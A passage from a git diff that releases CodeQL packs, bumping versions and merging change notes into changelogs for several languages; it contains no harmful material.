b/actions/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.4.9 +lastReleaseVersion: 0.4.10 diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index 6e9a94292d0..c500ec3617b 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.10-dev +version: 0.4.10 library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/CHANGELOG.md b/actions/ql/src/CHANGELOG.md index 5779691947e..687df395d28 100644 --- a/actions/ql/src/CHANGELOG.md +++ b/actions/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 0.6.2 + +### Minor Analysis Improvements + +* The query `actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions `deploy-pages`, `delete-package-versions`, `ai-inference`. This should lead to better alert messages and better fix suggestions. + ## 0.6.1 No user-facing changes. diff --git a/actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md b/actions/ql/src/change-notes/released/0.6.2.md similarity index 84% rename from actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md rename to actions/ql/src/change-notes/released/0.6.2.md index 8d6c87fe7a7..062fb0f6f91 100644 --- a/actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md +++ b/actions/ql/src/change-notes/released/0.6.2.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 0.6.2 + +### Minor Analysis Improvements + * The query `actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions `deploy-pages`, `delete-package-versions`, `ai-inference`. This should lead to better alert messages and better fix suggestions. diff --git a/actions/ql/src/codeql-pack.release.yml b/actions/ql/src/codeql-pack.release.yml index 80fb0899f64..5501a2a1cc5 100644 --- a/actions/ql/src/codeql-pack.release.yml +++ b/actions/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.6.1 +lastReleaseVersion: 0.6.2 diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index 49f4f30f7da..5c2a1dfbb1f 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.2-dev +version: 0.6.2 library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/CHANGELOG.md b/cpp/ql/lib/CHANGELOG.md index 4ad53d108e2..67339c22ef0 100644 --- a/cpp/ql/lib/CHANGELOG.md +++ b/cpp/ql/lib/CHANGELOG.md @@ -1,3 +1,27 @@ +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. +* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. +* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. + +### New Features + +* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. +* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. +* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. +* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. +* Added support for `wmain` as part of the ArgvSource model. + +### Bug Fixes + +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. + ## 4.3.1 ### Bug Fixes diff --git a/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md b/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md deleted file mode 100644 index ea821d7d48d..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: fix ---- -* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md b/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md deleted file mode 100644 index a1aec0a695a..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: fix ---- -* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md b/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md deleted file mode 100644 index bdc369bfedd..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: feature ---- -* Added support for `wmain` as part of the ArgvSource model. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md b/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md deleted file mode 100644 index b1a31ea6eb5..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -category: breaking ---- -* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. -* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. -* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. -* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. -* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. -* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. diff --git a/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md b/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md deleted file mode 100644 index e07dcbe8598..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -category: feature ---- -* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. -* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. -* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. diff --git a/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md b/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md deleted file mode 100644 index 423a1a424f9..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: feature ---- -* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/released/5.0.0.md b/cpp/ql/lib/change-notes/released/5.0.0.md new file mode 100644 index 00000000000..212cb2bdd96 --- /dev/null +++ b/cpp/ql/lib/change-notes/released/5.0.0.md @@ -0,0 +1,23 @@ +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. +* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. +* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. + +### New Features + +* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. +* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. +* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. +* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. +* Added support for `wmain` as part of the ArgvSource model. + +### Bug Fixes + +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. diff --git a/cpp/ql/lib/codeql-pack.release.yml b/cpp/ql/lib/codeql-pack.release.yml index 70ac3707fcd..c9e54136ca5 100644 --- a/cpp/ql/lib/codeql-pack.release.yml +++ b/cpp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.3.1 +lastReleaseVersion: 5.0.0 diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index e15623e2ddb..f5c88301895 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 4.3.2-dev +version: 5.0.0 groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/CHANGELOG.md b/cpp/ql/src/CHANGELOG.md index f9880ce5764..49bf1f975ee 100644 --- a/cpp/ql/src/CHANGELOG.md +++ b/cpp/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.4.1 + +### Minor Analysis Improvements + +* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. + ## 1.4.0 ### Query Metadata Changes diff --git a/cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md b/cpp/ql/src/change-notes/released/1.4.1.md similarity index 65% rename from cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md rename to cpp/ql/src/change-notes/released/1.4.1.md index c03bd600ac9..7d1ba66b92e 100644 --- a/cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md +++ b/cpp/ql/src/change-notes/released/1.4.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- -* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. \ No newline at end of file +## 1.4.1 + +### Minor Analysis Improvements + +* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. diff --git a/cpp/ql/src/codeql-pack.release.yml b/cpp/ql/src/codeql-pack.release.yml index b8b2e97d508..43ccf4467be 100644 --- a/cpp/ql/src/codeql-pack.release.yml +++ b/cpp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.4.0 +lastReleaseVersion: 1.4.1 diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index 07c7cb32249..aa04ab588e4 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.1-dev +version: 1.4.1 groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md index f177ccf403e..0a441eeacb2 100644 --- a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.41 + +No user-facing changes. + ## 1.7.40 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md new file mode 100644 index 00000000000..b99dc457ba9 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md @@ -0,0 +1,3 @@ +## 1.7.41 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml index 47c67a0a4d3..2eee1633d76 100644 --- a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.40 +lastReleaseVersion: 1.7.41 diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index 6c3519f4785..e4e790c02b4 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.41-dev +version: 1.7.41 groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md index f177ccf403e..0a441eeacb2 100644 --- a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.41 + +No user-facing changes. + ## 1.7.40 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md new file mode 100644 index 00000000000..b99dc457ba9 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md @@ -0,0 +1,3 @@ +## 1.7.41 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml index 47c67a0a4d3..2eee1633d76 100644 --- a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.40 +lastReleaseVersion: 1.7.41 diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 1cfbcb1f030..68c2a91ba49 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.41-dev +version: 1.7.41 groups: - csharp - solorigate diff --git a/csharp/ql/lib/CHANGELOG.md b/csharp/ql/lib/CHANGELOG.md index 47503fa222e..1fcecc7f8e9 100644 --- a/csharp/ql/lib/CHANGELOG.md +++ b/csharp/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 5.1.7 + +### Minor Analysis Improvements + +* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). + ## 5.1.6 No user-facing changes. diff --git a/csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md b/csharp/ql/lib/change-notes/released/5.1.7.md similarity index 78% rename from csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md rename to csharp/ql/lib/change-notes/released/5.1.7.md index c45cce85982..2cc0418ad62 100644 --- a/csharp/ql/lib/change-notes/2025-05-14-dotnet-models.md +++ b/csharp/ql/lib/change-notes/released/5.1.7.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 5.1.7 + +### Minor Analysis Improvements + * The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). diff --git a/csharp/ql/lib/codeql-pack.release.yml b/csharp/ql/lib/codeql-pack.release.yml index 5ddeeed69fc..f26524e1fd9 100644 --- a/csharp/ql/lib/codeql-pack.release.yml +++ b/csharp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.1.6 +lastReleaseVersion: 5.1.7 diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 3cfd3861377..6f5c0b15f3a 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.7-dev +version: 5.1.7 groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/CHANGELOG.md b/csharp/ql/src/CHANGELOG.md index a73c77f224f..b2384df0d06 100644 --- a/csharp/ql/src/CHANGELOG.md +++ b/csharp/ql/src/CHANGELOG.md @@ -1,3 +1,12 @@ +## 1.2.1 + +### Minor Analysis Improvements + +* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. + ## 1.2.0 ### Query Metadata Changes diff --git a/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md b/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md deleted file mode 100644 index ed9805f6ece..00000000000 --- a/csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. diff --git a/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md b/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md deleted file mode 100644 index 2d8c5c1c56e..00000000000 --- a/csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. diff --git a/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md deleted file mode 100644 index 6255db9c199..00000000000 --- a/csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. diff --git a/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md b/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md deleted file mode 100644 index ee3d60fe4ff..00000000000 --- a/csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. diff --git a/csharp/ql/src/change-notes/released/1.2.1.md b/csharp/ql/src/change-notes/released/1.2.1.md new file mode 100644 index 00000000000..2751be1db8a --- /dev/null +++ b/csharp/ql/src/change-notes/released/1.2.1.md @@ -0,0 +1,8 @@ +## 1.2.1 + +### Minor Analysis Improvements + +* The precision of the query `cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries `cs/password-in-configuration`, `cs/hardcoded-credentials` and `cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query `cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant `e1.Equals(e2)` implies `e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query `cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to `System.Text.CompositeFormat.Parse` are now considered a format like method call. diff --git a/csharp/ql/src/codeql-pack.release.yml b/csharp/ql/src/codeql-pack.release.yml index 75430e73d1c..73dd403938c 100644 --- a/csharp/ql/src/codeql-pack.release.yml +++ b/csharp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.0 +lastReleaseVersion: 1.2.1 diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index 7f4043b2c07..59800dabbdb 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.1-dev +version: 1.2.1 groups: - csharp - queries diff --git a/go/ql/consistency-queries/CHANGELOG.md b/go/ql/consistency-queries/CHANGELOG.md index c3254e1caad..a684ef060a5 100644 --- a/go/ql/consistency-queries/CHANGELOG.md +++ b/go/ql/consistency-queries/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/go/ql/consistency-queries/change-notes/released/1.0.24.md b/go/ql/consistency-queries/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/go/ql/consistency-queries/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/go/ql/consistency-queries/codeql-pack.release.yml b/go/ql/consistency-queries/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/go/ql/consistency-queries/codeql-pack.release.yml +++ b/go/ql/consistency-queries/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index 7c8b4515264..ce75cf33047 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.24-dev +version: 1.0.24 groups: - go - queries diff --git a/go/ql/lib/CHANGELOG.md b/go/ql/lib/CHANGELOG.md index b6031842a21..58e70d0c2bd 100644 --- a/go/ql/lib/CHANGELOG.md +++ b/go/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 4.2.6 + +No user-facing changes. + ## 4.2.5 No user-facing changes. diff --git a/go/ql/lib/change-notes/released/4.2.6.md b/go/ql/lib/change-notes/released/4.2.6.md new file mode 100644 index 00000000000..4b76e98c68b --- /dev/null +++ b/go/ql/lib/change-notes/released/4.2.6.md @@ -0,0 +1,3 @@ +## 4.2.6 + +No user-facing changes. diff --git a/go/ql/lib/codeql-pack.release.yml b/go/ql/lib/codeql-pack.release.yml index 1821397188e..2005a7a7f17 100644 --- a/go/ql/lib/codeql-pack.release.yml +++ b/go/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.2.5 +lastReleaseVersion: 4.2.6 diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 3451f49c2dc..49a4a809f13 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.6-dev +version: 4.2.6 groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/CHANGELOG.md b/go/ql/src/CHANGELOG.md index a90fa7b7034..794f600ad3e 100644 --- a/go/ql/src/CHANGELOG.md +++ b/go/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.2.1 + +### Minor Analysis Improvements + +* The query `go/hardcoded-credentials` has been removed from all query suites. + ## 1.2.0 ### Query Metadata Changes diff --git a/go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/go/ql/src/change-notes/released/1.2.1.md similarity index 64% rename from go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to go/ql/src/change-notes/released/1.2.1.md index b25a9b3d056..d96e9efc365 100644 --- a/go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/go/ql/src/change-notes/released/1.2.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.2.1 + +### Minor Analysis Improvements + * The query `go/hardcoded-credentials` has been removed from all query suites. diff --git a/go/ql/src/codeql-pack.release.yml b/go/ql/src/codeql-pack.release.yml index 75430e73d1c..73dd403938c 100644 --- a/go/ql/src/codeql-pack.release.yml +++ b/go/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.0 +lastReleaseVersion: 1.2.1 diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index 032ac335902..20e37c247ef 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.2.1-dev +version: 1.2.1 groups: - go - queries diff --git a/java/ql/lib/CHANGELOG.md b/java/ql/lib/CHANGELOG.md index 412521919b9..7391228e483 100644 --- a/java/ql/lib/CHANGELOG.md +++ b/java/ql/lib/CHANGELOG.md @@ -1,3 +1,10 @@ +## 7.3.0 + +### Deprecated APIs + +* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. +* Java now uses the shared `BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The `BasicBlock` class itself no longer extends `ControlFlowNode` - the predicate `getFirstNode` can be used to fix any QL code that somehow relied on this. + ## 7.2.0 ### New Features diff --git a/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md b/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md deleted file mode 100644 index 8b7effc535d..00000000000 --- a/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: deprecated ---- -* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. diff --git a/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md b/java/ql/lib/change-notes/released/7.3.0.md similarity index 72% rename from java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md rename to java/ql/lib/change-notes/released/7.3.0.md index e71ae5c1317..a40049582ef 100644 --- a/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md +++ b/java/ql/lib/change-notes/released/7.3.0.md @@ -1,4 +1,6 @@ ---- -category: deprecated ---- +## 7.3.0 + +### Deprecated APIs + +* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. * Java now uses the shared `BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The `BasicBlock` class itself no longer extends `ControlFlowNode` - the predicate `getFirstNode` can be used to fix any QL code that somehow relied on this. diff --git a/java/ql/lib/codeql-pack.release.yml b/java/ql/lib/codeql-pack.release.yml index fda9ea165fc..2b9b871fffa 100644 --- a/java/ql/lib/codeql-pack.release.yml +++ b/java/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 7.2.0 +lastReleaseVersion: 7.3.0 diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index 8e1e06ab6b5..44271dee46b 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.2.1-dev +version: 7.3.0 groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/CHANGELOG.md b/java/ql/src/CHANGELOG.md index 286ed1123af..fa038d728e6 100644 --- a/java/ql/src/CHANGELOG.md +++ b/java/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.5.1 + +### Minor Analysis Improvements + +* The query `java/hardcoded-credential-api-call` has been removed from all query suites. + ## 1.5.0 ### Query Metadata Changes diff --git a/java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/java/ql/src/change-notes/released/1.5.1.md similarity index 67% rename from java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to java/ql/src/change-notes/released/1.5.1.md index 18340ca8774..23e49bba729 100644 --- a/java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/java/ql/src/change-notes/released/1.5.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.5.1 + +### Minor Analysis Improvements + * The query `java/hardcoded-credential-api-call` has been removed from all query suites. diff --git a/java/ql/src/codeql-pack.release.yml b/java/ql/src/codeql-pack.release.yml index 639f80c4341..c5775c46013 100644 --- a/java/ql/src/codeql-pack.release.yml +++ b/java/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.0 +lastReleaseVersion: 1.5.1 diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index be53e6c8c0b..2938ce64cb3 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.1-dev +version: 1.5.1 groups: - java - queries diff --git a/javascript/ql/lib/CHANGELOG.md b/javascript/ql/lib/CHANGELOG.md index 2d7716b8393..91b86700ed4 100644 --- a/javascript/ql/lib/CHANGELOG.md +++ b/javascript/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 2.6.4 + +### Minor Analysis Improvements + +* Improved analysis for `ES6 classes` mixed with `function prototypes`, leading to more accurate call graph resolution. + ## 